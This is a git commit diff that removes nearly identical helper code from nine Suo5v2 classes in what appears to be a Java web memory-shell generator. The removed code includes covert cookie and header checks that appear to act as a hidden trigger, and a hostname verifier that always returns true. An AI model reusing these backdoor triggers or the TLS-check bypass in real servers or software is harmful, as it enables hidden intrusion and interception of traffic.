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feat: remove uneeded code

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This commit is contained in:
zema1
2025-12-14 18:45:58 +08:00
committed by ReaJason
parent 1515011026
commit d3727d7d3e
9 changed files with 0 additions and 927 deletions
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generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java
-103
View File
@@ -988,109 +988,6 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java
-103
View File
@@ -993,109 +993,6 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java
-103
View File
@@ -1005,109 +1005,6 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java
-103
View File
@@ -1004,109 +1004,6 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java
-103
View File
@@ -999,109 +999,6 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java
-103
View File
@@ -987,109 +987,6 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java
-103
View File
@@ -990,109 +990,6 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java
-103
View File
@@ -990,109 +990,6 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java
-103
View File
@@ -993,109 +993,6 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}